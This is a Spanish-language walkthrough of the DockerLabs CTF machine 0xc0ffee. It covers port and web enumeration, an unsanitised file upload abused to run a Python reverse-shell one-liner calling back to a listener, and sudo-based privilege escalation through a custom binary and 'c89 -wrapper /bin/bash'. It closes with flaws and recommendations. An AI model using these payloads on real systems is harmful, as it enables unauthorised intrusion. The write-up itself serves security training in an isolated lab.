Oxc0ffee
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla el proceso completo de explotación y escalada de privilegios de la máquina 0xc0ffee, desarrollada por d1se0 para DockerLabs y clasificada como de dificultad Media.
El análisis está estructurado en tres fases principales:
- Reconocimiento: Identificación de servicios expuestos, rutas accesibles y contenido filtrado.
- Explotación: Obtención de ejecución remota mediante carga de archivos no sanitizados.
- Escalada de privilegios: Pivote entre múltiples usuarios utilizando contraseñas expuestas, binarios personalizados y configuraciones
sudomal aplicadas.
El compromiso se realizó íntegramente en un entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | 0xc0ffee |
| Autor | d1se0 |
| Dificultad | Medio |
| Fecha | 01/09/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»unzip 0xc0ffee.zipsudo bash auto_deploy.sh 0xc0ffee.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p 0xc0ffee/{content,exploits,nmap,gobuster,scripts}cd 0xc0ffee1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos identificados:
- 80/tcp — HTTP
- 7777/tcp — HTTP (exposición de directorios)

1.3 Enumeración HTTP (Puerto 80)
Sección titulada «1.3 Enumeración HTTP (Puerto 80)»Escaneo inicial:
feroxbuster -u http://hidden.lab -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403No se encontraron rutas relevantes. La raíz contiene un formulario que solicita una keyword para validar acceso:

Nada indica vulnerabilidad directa, por lo que la palabra clave debe encontrarse en otro punto.
1.4 Enumeración HTTP (Puerto 7777)
Sección titulada «1.4 Enumeración HTTP (Puerto 7777)»Este servicio expone directamente un directorio sin autenticación:

Los archivos relevantes:
nota.txt→ Información irrelevante.secret/history.txt→ Contiene una narrativa y una palabra clave crítica para el formulario del puerto 80.

El acceso a este directorio público representa una fuga de información sensible (Information Disclosure).
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Ingresamos la palabra clave en la herramienta del puerto 80. Esto da acceso a securepage, una interfaz de configuración:

La página permite:
- Enviar un Configuration Identifier → nombre del archivo a crear.
- Enviar Configuration Data → contenido que será almacenado literalmente.
- Cargar cualquier archivo existente.
No existe ningún tipo de sanitización, validación de extensión o restricción de contenido. Esto habilita una arbitrary file upload combinada con arbitrary file execution cuando el sistema “carga” la configuración.
Para confirmar, subimos un archivo de prueba JSON:
{ "test": "test", "value": ""}Este aparece inmediatamente en el servicio del puerto 7777:

Ejecución remota mediante shell Python
Sección titulada «Ejecución remota mediante shell Python»Activamos listener:
nc -nlvp 443Creamos payload en Python (el backend usa Python):
configuration identifier: shell.pyconfiguration data:python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'Cargamos el archivo desde la sección inferior de la página: Esto ejecuta el script y genera la reverse shell:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → codebad
Sección titulada «3.1 De www-data → codebad»Se encuentra un archivo accesible:
/home/codebad/secret
Es una adivinanza cuya respuesta es la contraseña del usuario. Pivoteamos:
su codebad
3.2 De codebad → metadata
Sección titulada «3.2 De codebad → metadata»Verificamos permisos:

codebad puede ejecutar el binario code como el usuario metadata.
Tras analizar code, se determina que funciona como un wrapper de ls (lista directorios).
Podemos enumerar archivos propiedad de metadata:
find / -user metadata 2>/dev/null
El archivo relevante es:
/usr/local/binLo leemos usando el wrapper:
sudo -u metadata /home/codebad/code "/usr/local/bin"Esto filtra una contraseña:

Pivoteamos:
su metadata
3.3 De metadata → root
Sección titulada «3.3 De metadata → root»Verificamos permisos:

metadata puede ejecutar el binario c89 como root con parámetros controlables.
Se abusa usando el wrapper interactivo:
sudo c89 -wrapper /bin/bash,-s .Se obtiene una shell privilegiada:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Exposición de directorios y archivos sensibles en puerto 7777.
- Fuga directa de credentials vía archivos de configuración.
- Funcionalidad de subida sin sanitización → RCE (Arbitrary File Upload + Execution).
- Reutilización de contraseñas entre usuarios.
- Binarios personalizados sin restricciones (
code). - Múltiples configuraciones
sudoincorrectas → Privilege Escalation trivial. - Falta de aislamiento entre servicios internos.
- Permisos de lectura excesivos en
/home/*.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar validación estricta de archivos subidos.
- Aislar rutas internas y evitar exposición de home directories.
- Deshabilitar configuraciones
sudoinnecesarias. - Eliminar binarios personalizados inseguros o restringirlos.
- Aplicar Least Privilege en permisos Unix.
- Auditar archivos con información sensible por fugas accidentales.
- Implementar controles de acceso en ambos servicios HTTP.